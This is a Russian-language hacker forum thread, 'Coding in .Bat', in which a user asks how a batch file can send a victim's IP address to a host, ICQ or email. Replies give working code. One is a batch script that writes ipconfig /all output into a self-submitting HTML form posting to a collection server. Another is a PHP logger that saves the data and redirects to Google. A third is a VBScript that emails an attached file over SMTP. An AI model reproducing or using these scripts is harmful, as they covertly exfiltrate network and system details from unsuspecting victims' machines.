Кодинг в .Bat

[Zalp]

Подскажите, как можно реализовать с помощью бат высылку ip жертвы на хост/аську или мыло.

[CrazyStudentS_Mi}{]

бандеролью......м?

[Cecil B Demented]

этож как ой ужас получается :) высылку ипа через дос :) Ну и telenet на 80 порт :)
а мож javascript лутше? :))

[LEE_ROY]

telnet на какойто порт, потом в логах фаервола посмотриш ип.

[Flash-ICE]

old.antichat.ru тебе в помощь... там расматривалось

[JuliaSmit]

http://sclan.info/showthread.php?t=1140 Может поможет...

[slesh]

*CRAZY* запустить IE с параметром типа http://site.com/1.php а там уже вычеслить ip подключившегося.
Болле изошренный метод
ipconfig /all>1.txt
systeminfo >>1.txt
а дальше такимже образом создать конфиг для ftp и отослать этот файл ))

[SpangeBoB]

http://forum.antichat.ru/thread84364.html
http://forum.antichat.ru/thread83653.html
Все задачи решены и приведены конкретные примеры.

[slesh]

)) во!
бат файл

echo ^<form name='myf' action='http://127.0.0.1/1.php' method='POST'^>^<textarea name='data'^>>1.html
ipconfig /all>>1.html
echo ^</textarea^>^</form^>^<script^>document.myf.submit()^</script^>>>1.html
start 1.html


скрипт

<?
$d=$_POST['data'];
$f=fopen('log.txt','a+');
fputs($f,$d);
fclose($f);
header('Location: http://google.com');
?>

[SpangeBoB]

Еще как метод сделать через VBS,т.к удобно и родное.


'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Скрипт: SendMail.vbs
' Описание: отправка сообщения по электронной почте
' Язык: VBScript
' Автор: Andrew Mishechkin
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
Option Explicit


Dim objEmail 'CDO объект для отправки сообщения
Dim MessText 'Текст сообщения
Dim AttFile 'Файл вложения.


'Формируем текст сообщения
MessText = "Данное сообщение послано" & VbCrLf
MessText = MessText + "скриптом Sendmail.vbs" & VbCrLf


AttFile = "C:\Temp\1.txt" 'Указываем путь к файлу, который необходимо вложить в сообщение
Set objEmail = WScript.CreateObject("CDO.Message") 'Создаем объект CDO и получаем на него ссылку в переменную objEmail


'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Указание необходимых параметров объекта CDO
'''''''''''''''''''''''''''''''''''''''''''''''''' ''
objEmail.From = "Отправитель"" script@company.ru" 'параметры отправителя (имя и адрес электронной почты)
objEmail.To = "admin@company.ru" 'адрес электронной почты получателя
objEmail.Subject = "Проверка связи" 'тема сообщения
objEmail.AddAttachment(AttFile) 'файла вложения
objEmail.Textbody = MessText 'текст сообщения


'Отправить сообщение используя сетевую SMTP-службу (1 - используется для отправки через локальную SMTP-службу)
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
'Указание имени SMTP-сервера
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail.company.ru"
'Указание SMPT-порта на сервере
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
'Обновить конфигурацию CDO-объекта
objEmail.Configuration.Fields.Update
'Послать сообщение с помощью метода Send
objEmail.Send

Почти тоже самое но с объяснениями правдо на английском http://www.microsoft.com/technet/scriptcenter/resources/qanda/nov04/hey1129.mspx